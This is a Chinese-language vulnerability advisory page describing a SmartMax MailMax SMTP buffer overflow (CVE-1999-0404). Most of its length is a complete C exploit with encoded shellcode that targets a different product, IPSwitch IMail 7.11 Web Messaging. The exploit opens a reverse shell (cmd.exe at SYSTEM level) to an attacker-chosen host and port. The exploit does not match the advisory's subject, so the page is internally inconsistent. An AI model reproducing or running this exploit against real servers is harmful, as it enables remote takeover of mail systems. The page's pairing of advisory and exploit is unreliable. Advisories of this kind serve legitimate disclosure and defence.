安全研究
安全漏洞
SmartMax MailMax SMTP缓冲区溢出漏洞
发布日期：1999-02-13
更新日期：2001-01-29
受影响系统：
SmartMax Software MailMax 1.0描述：
- Microsoft Windows NT 4.0
- Microsoft Windows 98 SE
- Microsoft Windows 95
BUGTRAQ ID: 2312
CVE(CAN) ID: CVE-1999-0404
Smartmax MailMax是一个Windows 95/98/NT环境下的SMTP服务器。
处理SMTP命令的进程函数存在缓冲区溢出漏洞。远程攻击者可以利用该漏洞以SMTP服务进程的权限执行任意指令。
<*来源：pw （pw@nacs.net）
链接：http://archives.neohapsis.com/archives/bugtraq/1999_1/0699.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*
imailexp.c
July 25th, 2002
IPSwitch IMail 7.11 remote 'SYSTEM' exploit
there is an overflow in the GET parameter under the HTTP/1.0
specification in the Web Messaging daemon in all IMail versions
to date
<96 bytes><EBP><EIP>
since none of the registers point to our payload on ret some
trickery was necessary to hit our payload in a dynamic way,
but nothing difficult..
execution flow:
eip overran, ret (esp-4) -> land at pop ebx, ret10 (esp-18) -> call esp
reach corrupted payload
preserve esp -> sub esp -> jmp esp
preserve esp, and jump to good payload
recover esp -> execute shell
let shit fly
"In 1995, Ipswitch released IMail Server, the first commercial NT Mail Server.
Seven years later there are over 49 million users of IMail worldwide.
IMail Server 7.1
Greater security, improved usability, and new revenue opportunities for service
providers."
7 years in development, 20 minutes of BuffSex v0.3(tm), 4 remote 'root' holes
2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>
// dark spyrit's shell as per usual.. queerly modified to call ExitThread
// yet again.. all that shit on top is to get us home
unsigned char payload[] =
"\x47\x45\x54\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x24\x01\x10\x90\x90\x90\x90\x13\xf7\x02\x10"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x8b\xfc\x81\xc4\x11\x11\x11\x11\x81\xec"
"\x50\xdd\x10\x11\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8b\xe7\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xdb\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d\x95\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc3\x98\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\xc9\x1d\xdc\x95\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0d"
"\x0a\x0d\x0a";
main(char argc, char **argv){
unsigned long ah;
unsigned short int ap;
int fd, i;
int bufsize = 1024;
int *buffer = (int *)malloc(bufsize);
struct sockaddr_in sin;
struct hostent *he;
struct in_addr in;
printf("IMail 7.11 remote exploit (SYSTEM level)\n");
printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");
if (argc < 5){
printf("usage: %s <targethost> <iwebport> <localhost> <localport>\n\n", argv[0]);
printf("iwebport: IMail Web Messaging port (default 8383)\n\n");
exit(-1);
}
ap = htons(atoi(argv[4]));
ap ^= 0x9595;
if ((he = gethostbyname(argv[3])) == 0){herror(argv[2]);exit(-1);}
ah = *((unsigned long *)he->h_addr);
ah ^= 0x95959595;
payload[747] = ((ap) & 0xff);
payload[748] = ((ap >> 8) & 0xff);
payload[752] = ((ah) & 0xff);
payload[753] = ((ah >> 8) & 0xff);
payload[754] = ((ah >> 16) & 0xff);
payload[755] = ((ah >> 24) & 0xff);
if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
else
if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
sin.sin_port = htons(atoi(argv[2]));
printf("ret: 0x10012490 (IMailsec.dll v.2.6.17.28)\n\n");
printf("connecting...");
if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
printf("done.\n");
sleep(1);
printf("dumping payload...");
if(write(fd, payload, strlen(payload)) < strlen(payload)){perror("write error");exit(-1);}
printf("done.\n\n");
printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]);
close(fd);
}
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 暂时关闭Smartmax MailMax的SMTP服务，或者使用防火墙限制只允许可信用户的IP连接。
厂商补丁：
SmartMax Software
-----------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.smartmax.com
浏览次数：5562
严重程度：0（网友投票）
绿盟科技给您安全的保障